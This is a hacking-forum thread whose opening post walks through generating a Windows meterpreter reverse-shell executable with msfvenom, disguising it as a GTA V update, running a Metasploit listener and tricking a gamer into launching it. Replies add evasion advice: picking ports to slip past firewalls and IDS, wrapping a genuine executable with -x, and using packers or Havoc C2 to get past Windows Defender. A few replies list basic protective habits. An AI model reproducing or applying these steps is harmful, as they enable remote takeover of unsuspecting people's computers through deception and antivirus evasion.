

Forum:[Hack Forums](#)

Thread: [How to simply hack Windows with Metasploit](#)

amar7652 - July 22, 2024, 10:51 pm

Before creating the metasploit, we need to figure out what is our Kali Linux local IP.

For that, run ``ip addr`` or ``ifconfig``

Get the IPv4 Local IP
Now let's get hands dirty!

In the terminal run the follow command:

```
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe  
LHOST=192.168.195.72 LPORT=4444 -o /root/Desktop/GTAVUpdate.exe
```

The command above instructs msfvenom to generate a 32-bit Windows executable file that implements a reverse TCP connection for the payload. The format must be specified as being type .exe, and the local host (LHOST) and local port (LPORT) have to be defined. In our case, the LHOST is the IP address of our attacking Kali Linux machine that we got in the last command, and the LPORT is the port to listen on for a connection from the target once it has been compromised.

The name of the .exe is up to you. In this case I'll be using GTAVUpdate.exe because our target will be a gamer that we know has GTA V.

Connection

We now need to set up a listener on the port we determined within the executable. We do this by launching Metasploit using the command msfconsole on the Kali Linux terminal.

The screenshot below shows what commands to issue within Metasploit. First, we'll tell Metasploit to use the generic payload handler "multi/handler" using the command ``use multi/handler``. We will then set the payload to match the one set within the executable using the command ``set payload windows/meterpreter/reverse\_tcp``. We will then set the LHOST and LPORT this way — ``set LHOST 192.168.195.72`` and set ``LPORT 4444``. Once done, type ``run`` or ``exploit`` and press Enter.

The screenshot below displays the output. The reverse TCP handler should begin waiting for a connection.

You can use show options to check if everything's ok

If everything's ok type run or exploit

Social Engineer

Now it's the part that you need to do some social engineer in order to make the user execute the program.

For this tutorial we will simply host the .exe on apache2 and transfer it on the Windows Machine.

On the Windows machine you just need to access via the browser the IP/File.exe

In our case is 192.168.192.72/GTAVUpdate.exe

Now execute and check the connection on the Kali Machine.

As you can see we are now connected to the victim machine.

Now we can do a lot of things.

How to Protect

For this type of attacks the most important thing is to have the Firewall enabled. Windows Defender makes a good job protecting files like this.

Dont' forget to keep your Windows always updated and also don't execute programs that you don't know for sure that are original and signed.

Hope you enjoyed

DryRiver - July 22, 2024, 11:02 pm

really good knowledge ! i am about to try it !! thanks mate

?Rednix™ - July 22, 2024, 11:13 pm

This tutorial was copied just now from the source here:

<https://medium.com/@leandro.almeida/hack-windows-10-with-metasploit-329c283db99a>

Which is completely fine. Except the original link has proper pictures with every step and everything is formatted in a way it can be understood :)

You should include the original link in your original post.

DramaKing - July 23, 2024, 3:16 am

(Jul 22, 2024 10:51 PM)amar7652 Wrote: [\[CITE\]](#) Before creating the metasploit, we need to figure out what is our Kali Linux local IP.

For that, run ``ip addr`` or ``ifconfig``

Get the IPv4 Local IP

Now let's get hands dirty!

In the terminal run the follow command:

```
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -platform windows -f exe  
LHOST=192.168.195.72 LPORT=4444 -o /root/Desktop/GTAVUpdate.exe
```

The command above instructs msfvenom to generate a 32-bit Windows executable file that implements a reverse TCP connection for the payload. The format must be specified as being type .exe, and the local host (LHOST) and local port (LPORT) have to be defined. In our case, the LHOST is the IP address of our attacking Kali Linux machine that we got in the last command, and the LPORT is the port to listen on for a connection from the target once it has been compromised.

The name of the .exe is up to you. In this case I'll be using GTAVUpdate.exe because our target will be a gamer that we know has GTA V.

Connection

We now need to set up a listener on the port we determined within the executable. We do this by launching Metasploit using the command msfconsole on the Kali Linux terminal.

The screenshot below shows what commands to issue within Metasploit. First, we'll tell Metasploit to use the generic payload handler "multi/handler" using the command `use multi/handler`. We will then set the payload to match the one set within the executable using the command `set payload windows/meterpreter/reverse_tcp`. We will then set the LHOST and LPORT this way — `set LHOST 192.168.195.72` and `set LPORT 4444`. Once done, type `run` or `exploit` and press Enter.

The screenshot below displays the output. The reverse TCP handler should begin waiting for a connection.

You can use show options to check if everything's ok

If everything's ok type run or exploit

Social Engineer

Now it's the part that you need to do some social engineer in order to make the user execute the program.

For this tutorial we will simply host the .exe on apache2 and transfer it on the Windows Machine.

On the Windows machine you just need to access via the browser the IP/File.exe

In our case is 192.168.192.72/GTAVUpdate.exe

Now execute and check the connection on the Kali Machine.

As you can see we are now connected to the victim machine.

Now we can do a lot of things.

How to Protect

For this type of attacks the most important thing is to have the Firewall enabled. Windows Defender makes a good job protecting files like this.

Dont' forget to keep your Windows always updated and also don't execute programs that you don't know for sure that are original and signed.

Hope you enjoyed

Windows Defender Firewall won't normally block this. Any antivirus will, though.

boleii466 - July 24, 2024, 3:29 pm

meterpreter is immediately flagged by any antivirus out there

Had3s03 - August 5, 2024, 1:02 pm

Fairly new. before hand would you run a scan on the IP to find what ports are open and then specify which port is open in the command?

```
"msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe  
LHOST=192.168.195.72 LPORT=4444 -o /root/Desktop/GTAVUpdate.exe"
```

example if port 22 was open: msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe LHOST=123.456.789.10 LPORT=22 -o /root/Desktop/GTAVUpdate.exe"

DramaKing - August 5, 2024, 7:27 pm

(Aug 5, 2024 01:02 PM)Had3s03 Wrote: [\[CITE\]](#) Fairly new. before hand would you run a scan on the IP to find what ports are open and then specify which port is open in the command?

```
"msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe  
LHOST=192.168.195.72 LPORT=4444 -o /root/Desktop/GTAVUpdate.exe"
```

example if port 22 was open: msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe LHOST=123.456.789.10 LPORT=22 -o /root/Desktop/GTAVUpdate.exe"

Good Lord, no! If anything, you would only want ports that are closed. The default of port 4444 is a good choice.

Had3s03 - August 5, 2024, 11:10 pm

(Aug 5, 2024 07:27 PM)DramaKing Wrote: [\[CITE\]](#) Good Lord, no! If anything, you would only want ports that are closed. The default of port 4444 is a good choice.

My fault OG, didn't mean to come across badly. I'm about to start school for Cybersecurity so im sure ill learn all about this and more. Was just brousing the forum to try and get a little understanding of stuff early.

DramaKing - August 6, 2024, 4:17 am

(Aug 5, 2024 11:10 PM)Had3s03 Wrote: [\[CITE\]](#) My fault OG, didn't mean to come across badly. I'm about to start school for Cybersecurity so im sure ill learn all about this and more. Was just brousing the forum to try and get a little understanding of stuff early.

Learn about port and socket bindings, as well as types of ports and why there are different ports.

Had3s03 - August 6, 2024, 10:53 am

(Aug 6, 2024 04:17 AM)DramaKing Wrote: [\[CITE\]](#) Learn about port and socket bindings, as well as types of ports and why there are different ports.

o7

firehorse - August 8, 2024, 4:18 am

it will be blocked by AV

Ivanov_1 - August 9, 2024, 10:44 am

I have a doubt about the following below:

"The command above instructs msfvenom to generate a 32-bit Windows executable file that implements a reverse TCP connection for the payload. "

Why 32 bits windows? I thought 64 bits was the normal these days. Can anybody explain this to me? Just curious guys.

mrshlash - August 17, 2024, 11:09 am

Interesting topic thank you

DramaKing - August 17, 2024, 2:53 pm

(Aug 9, 2024 10:44 AM)Ivanov_1 Wrote: [\[CITE\]](#) I have a doubt about the following below:

"The command above instructs msfvenom to generate a 32-bit Windows executable file that implements a reverse TCP connection for the payload. "

Why 32 bits windows? I thought 64 bits was the normal these days. Can anybody explain this to me? Just curious guys.

x86 binaries are still compatible with modern versions of Windows. You probably have several programs yourself under C:\Program Files (x86). But 64-bit does seem the natural choice when available.

Brill - August 18, 2024, 11:18 pm

(Aug 5, 2024 07:27 PM)DramaKing Wrote: [\[CITE\]](#) Good Lord, no! If anything, you would only want ports that are closed. The default of port 4444 is a good choice.

wrong. it is a good idea to use open ports as it is easier to disguise the traffic. if the ports are open it is usually a deliberate choice by the sysadmin thus offering more lax firewall rules for these ports also.

(Aug 5, 2024 11:10 PM)Had3s03 Wrote: [\[CITE\]](#) My fault OG, didn't mean to come across badly. I'm about to start school for Cybersecurity so im sure ill learn all about this and more. Was just brousing the forum to try and get a little understanding of stuff early.

it was a valid question. and you were correct, it is a good idea to use ports that are already open on the target.

DramaKing - August 19, 2024, 3:22 am

(Aug 18, 2024 11:18 PM)Brill Wrote: [\[CITE\]](#) wrong. it is a good idea to use open ports as it is easier to disguise the traffic. if the ports are open it is usually a deliberate choice by the sysadmin thus offering more lax firewall rules for these ports also.

it was a valid question. and you were correct, it is a good idea to use ports that are already open on the target.

Maybe I should have relaxed a bit, but I wasn't wrong, even when discussing a reverse shell. The port scan only tests open ports on inbound ports. The outbound firewall rules could be very different. Plus, if you use port 22, you could get mixed up and be running SSH locally by mistake.

And why assume that there is a sysadmin?

And let's consider that @Had3s03@ was using a spoofed game update in this example. Naturally, the better way would be to pass the original executable with -x so that the file wouldn't immediately appear broken, malicious, and/or too small. Anyway, that infers trying to get random gamers to download the payload as opposed to exploiting a host exposed to the Internet. There would be no way to scan an IP address before building the exe. Further, a gamer would almost certainly be running the payload at home. The only inbound ports that would be open would be those that were NATted. Depending on the router, the outbound rules will probably be to only block known malicious ports. Then Windows Firewall should prompt the user whether to allow the payload to access the Internet. Since the user needed to deliberately download and execute the file, he/she should click 'yes.'

Brill - August 19, 2024, 4:47 am

(Aug 19, 2024 03:22 AM)DramaKing Wrote: [\[CITE\]](#) Maybe I should have relaxed a bit, but I wasn't wrong, even when discussing a reverse shell. The port scan only tests open ports on inbound ports. The outbound firewall rules could be very different. Plus, if you use port 22, you could get mixed up and be running SSH locally by mistake. And why assume that there is a sysadmin?

And let's consider that [Had3s03](#) was using a spoofed game update in this example. Naturally, the better way would be to pass the original executable with -x so that the file wouldn't immediately appear broken, malicious, and/or too small. Anyway, that infers trying to get random gamers to download the payload as opposed to exploiting a host exposed to the Internet. There would be no way to scan an IP address before building the exe. Further, a gamer would almost certainly be running the payload at home. The only inbound ports that would be open would be those that were NATted. Depending on the router, the outbound rules will probably be to only block known malicious ports. Then Windows Firewall should prompt the user whether to allow the payload to access the Internet. Since the user needed to deliberately download and execute the file, he/she should click 'yes.'

outbound uses ephemeral ports. if there is outbound traffic allowing connections to destination port22 then thats all that matters. doesn't matter if port22 is open or not, but you can make the assumption that if a service is running its more likely to have outbound on that port than an arbitrary port like 4444. im unsure how you could get confused about which service is listening on what port locally, you've confused me there but nonetheless utilizing already open ports on a target is more stealthy than opening a new arbitrary port.

DramaKing - August 19, 2024, 4:50 am

(Aug 19, 2024 04:47 AM)Brill Wrote: [\[CITE\]](#) outbound uses ephemeral ports. if there is outbound traffic allowing connections to destination port22 then thats all that matters. doesn't matter if port22 is open or not, but you can make the assumption that if a service is running its more likely to have outbound on that port than an arbitrary port like 4444. im unsure how you could get confused about which service is listening on what port locally, you've confused me there but nonetheless utilizing already open ports on a target is more stealthy than opening a new arbitrary port.

First, you wouldn't be opening a port. Second, what is this about "outbound uses ephemeral ports?"

Brill - August 19, 2024, 4:31 pm

(Aug 19, 2024 04:50 AM)DramaKing Wrote: [\[CITE\]](#) First, you wouldn't be opening a port. Second, what is this about "outbound uses ephemeral ports?"

sorry I didn't mean opening a port, I meant sending traffic to a port that isn't already being used as a destination for outbound traffic would/could trigger some ids filters. obviously this is assuming we're talking about being within the context of a corporate level network with real infra. if it's just some random host then it doesn't really matter much. what about them?

ScrubspooF - August 20, 2024, 6:07 am

This guide does not provide a way into the windows machine without social engineering.

This is pretty useless. There are better payload choices than reverse connect TCP meterpreter if you already have the ability to execute code on the target windows machine.

Ivanov_1 - August 20, 2024, 2:22 pm

(Aug 17, 2024 02:53 PM)DramaKing Wrote: [\[CITE\]](#) x86 binaries are still compatible with modern versions of Windows. You probably have several programs yourself under C:\Program Files (x86). But 64-bit does seem the natural choice when available.

Thank you for your response, it makes sense DramaKing.

GovernmentGradeGlow - October 2, 2024, 11:46 pm

metasploit is great for testing Web Apps and pentesting/recon but actually trying to exploit a system through their payloads will get flagged due to metasploit being open-source so AVs pick it up asap, but it's still a great tool to learn to find exploits and test some, with nmap, gobuster, and nikto you have a pretty good set of tools for pentesting web apps

Rubber_Flare - October 9, 2024, 6:58 am

Lately been working alot with Metasploit making labs on my Virtual machines and testing things out. Shells and such. Its good fun. This sounds like something straight out of a tryhackme writeup :)

LorianFLA - December 13, 2025, 10:42 am

thanks

hunk05 - May 14, 2026, 10:45 pm

nice tut thanks man

theproX0517 - May 15, 2026, 6:36 pm

This is a good example of why "don't run random EXEs" is still one of the biggest security lessons.

No fancy exploit is needed here. The whole attack depends on convincing someone to download and run a fake file. Once they click it, the attacker gets a reverse connection.

For protection:

Keep Windows Defender on.

Do not run cracked/random EXE files.

Check digital signatures.

Keep Windows updated.

Use a standard user account, not admin.

Be suspicious of "game updates" or "free tools" sent by someone.

Block unknown outbound connections when possible.

Basically, the weakest point is not always the machine. Sometimes it is just the person double-clicking the file.

psycheuser - August 22, 2026, 4:58 pm

Classic tutorial mate, good for learning the basics. But reality check, raw msfvenom executables get nuked by Windows Defender instantly these days.

To make this actually work on modern systems, you'll need to look into custom packers, thread hijacking, or using something like Havoc C2 instead of basic meterpreter payloads. Keep it up

though!

CyberXero - September 14, 2026, 3:49 pm

(Jul 22, 2024 11:13 PM)?Rednix™ Wrote: [\[CITE\]](#) This tutorial was copied just now from the source here: <https://medium.com/@leandro.almeida/hack-windows-10-with-metasploit-329c283db99a>

Which is completely fine. Except the original link has proper pictures with every step and everything is formatted in a way it can be understood :)

You should include the original link in your original post.

Wild but truee